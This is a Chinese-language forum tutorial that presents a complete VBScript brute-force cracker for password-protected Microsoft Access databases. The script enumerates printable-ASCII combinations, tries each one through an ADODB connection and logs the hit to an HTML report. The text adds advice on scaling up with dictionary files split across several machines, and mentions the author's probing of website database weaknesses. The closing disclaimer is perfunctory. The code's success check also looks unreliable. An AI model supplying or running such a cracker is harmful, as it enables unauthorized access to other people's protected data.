阿瑟 發表
暴力破解, 就是不斷塞入密碼直到密碼符合為止. 這是一種最有效, 但是也最沒有效率的密碼破解方式. 利用Windows Script, 可以寫出一個簡單的暴力破解機.
請等到教學整篇看完以後再測試, 否則後果自行負責
先來了解一下原理: 電腦上每一個字元都有一個ASCII代碼, 這個號碼是從32到126, 其中包括特殊字元如 @ , %.
ASCII字元表如下:
32 | 33 | ! | 34 | " | 35 | # | 36 | $ | 37 | % | |
38 | & | 39 | ' | 40 | ( | 41 | ) | 42 | * | 43 | + |
44 | , | 45 | - | 46 | . | 47 | / | 48 | 0 | 49 | 1 |
50 | 2 | 51 | 3 | 52 | 4 | 53 | 5 | 54 | 6 | 55 | 7 |
56 | 8 | 57 | 9 | 58 | : | 59 | ; | 60 | < | 61 | = |
62 | > | 63 | ? | 64 | @ | 65 | A | 66 | B | 67 | C |
68 | D | 69 | E | 70 | F | 71 | G | 72 | H | 73 | I |
74 | J | 75 | K | 76 | L | 77 | M | 78 | N | 79 | O |
80 | P | 81 | Q | 82 | R | 83 | S | 84 | T | 85 | U |
86 | V | 87 | W | 88 | X | 89 | Y | 90 | Z | 91 | [ |
92 | \ | 93 | ] | 94 | ^ | 95 | _ | 96 | ` | 97 | a |
98 | b | 99 | c | 100 | d | 101 | e | 102 | f | 103 | g |
104 | h | 105 | i | 106 | j | 107 | k | 108 | l | 109 | m |
110 | n | 111 | o | 112 | p | 113 | q | 114 | r | 115 | s |
116 | t | 117 | u | 118 | v | 119 | w | 120 | x | 121 | y |
122 | z | 123 | { | 124 | | | 125 | } | 126 | ~ |
以下是範例程式碼:
on Error Resume Next dim cons, DBmPath, rsm, sql, x, i, j, k, bingo, FSO, outputfilecontent, outputfileobject, t, first_time, final_time first_time = now Set cons = Wscript.CreateObject("ADODB.Connection") DBmPath = "db1.mdb" msgbox "破解程序開始, 時間會因系統資源的分配而有所不同",vbInformation + vbYesOnly, "暴力破解機" dim cracker() x=0 for i=32 to 126 for j=32 to 126 for k=32 to 126 Redim Preserve cracker(x) cracker(x) = chr(i) & chr(j) & chr(k) & 4 Redim Preserve cracker(x) x=x+1 next next next t=1 set FSO = Wscript.CreateObject("Scripting.FilesystemObject") outputfilecontent = "<HTML><BODY><h3>破解報告: "& DBmPath & "</h3><table border=1 bordercolor=#ffffff bordercolorlight=#003399>" for i=Lbound(cracker) to Ubound(cracker) if t=1 then outputfilecontent = outputfilecontent & "<tr><td>" else outputfilecontent = outputfilecontent & "<td>" end if cons.Open "driver={Microsoft Access Driver (*.mdb)};pwd="&cracker(i)&";dbq=" & DBmPath outputfilecontent = outputfilecontent & cracker(i) & "<br>" if t=12 then outputfilecontent = outputfilecontent & "</td></tr>" t=0 else outputfilecontent = outputfilecontent & "</td>" end if if Err.Number = 0 or Err.Number = 3705 then bingo = cracker(i-1) Exit For end if t=t+1 next msgbox "正確的密碼是 " & DBmPath & "[" & bingo & "]" ,vbInformation + vbYesOnly, "暴力破解機" final_time = now outputfilecontent = outputfilecontent & "</table>" outputfilecontent = outputfilecontent & "<br><br><b>" & bingo & "</b> 是正確的密碼 " & DBmPath & "<br>" outputfilecontent = outputfilecontent & "可能性總共有 <b>" & Ubound(cracker) & "</b> 個<br>" outputfilecontent = outputfilecontent & "總共測試了 <b>" & i-1 & "</b> 個可能性才找到正確的密碼<br>" outputfilecontent = outputfilecontent & "破解程序總共花了 <b>" & datediff("n", first_time, final_time) & "</b> 分鐘" outputfilecontent = outputfilecontent & "</BODY></HTML>" set outputfileobject = FSO.CreateTextFile("./"& DBmPath &".html", True) outputfileobject.write outputfilecontent set cons = Nothing DBmPath = Empty set rsm = Nothing sql = Empty x = Empty i = Empty j = Empty bingo = Empty Set FSO = Nothing outputfilecontent = Empty Set outputfileobject = Nothing |
由於這次的程式碼很長, 小弟把程式拆成部分來講解比較快.
程式邏輯與原理:
要玩這隻程式你必須在與script的同一個目錄下建立一個資料庫, 並且設定密碼 1234.
利用巢狀迴圈結構, 我們可以建立一組陣列, 紀錄所有的密碼. 建立完以後再用一個迴圈一一塞入資料庫, 如果沒有存取上的錯誤就代表是正確的密碼.
巢狀迴圈的部分是這樣的, 每一個字元都有94種可能性, 多加一個字元則第一個字元後面又多了94種可能性, 即 94 乘以 94 = 8836 種可能性 (哇咧). 如果有再多加個字元則每個字元後面又多了94種, 所以三個字元就有 830584 種可能性 (恐怖). 也就是成級數成長.
因此少猜一個字元, 就只需要原本的 94分之1 的時間...這也是為什麼之前小弟將最後一個字元直接打上去.
如果你要猜更多的數字的話, 只要再多幾層for loops就可以了, 三個字元要三層...幾個就幾層...
小弟測試的環境是Pentium!!!-1 Ghz, 512 SDRAM.
破解一位數的密碼的時候總共花了10秒, 並且用掉了約 500 kb 的記憶體(RAM),
(當然破解的時間跟密碼在ASCII表上的位置前後也有關)
兩位數就花了30分鐘, 用掉了8 mb左右的記憶體,
三位數, 也就是現在的這隻程式, 總共跑了5個小時, 用掉了50 mb 左右的記憶體...
四位數, ...小弟目前還沒有試過, 我也不是很想試...因為在破解的時候會用掉許多系統資源, 四位數的話恐怕要二十小時左右...
別忘記, 密碼 1234 在ASCII表上都還算是挺前面的, 如果別人用的是字母 (大小寫還有分喔!) 或是特殊字元, 那時間就更久了....
小弟是因為記憶體比較多一點, 所以直接用記憶體來儲存所有的可能性.
如果要破解十位數的話, 那....就有....不知道, 大概上億種可能性, 到時候如果用記憶體的話那穩塞爆的, 屆時就要建立所謂的字典檔, 也就是將程式前面建立的部分和破解的部分拆開, 先將字典檔做出來成為一個純文字檔, 然後再一行一行讀取進去破解. 數字大的話最好是把字典檔分割, 讓多台電腦同時進行, 不然恐怕跑好幾個月甚至好幾年...
這次貼上這篇教學希望大家看了以後能把這隻程式用在正當的用途上.
至於是什麼呢? 小弟也不清楚, (當時寫這隻程式的時候是在研究一些網站的ASP和資料庫漏洞). 總之玩玩就好, 不要亂來, 否則到時候網路警察來按門鈴就不好玩了.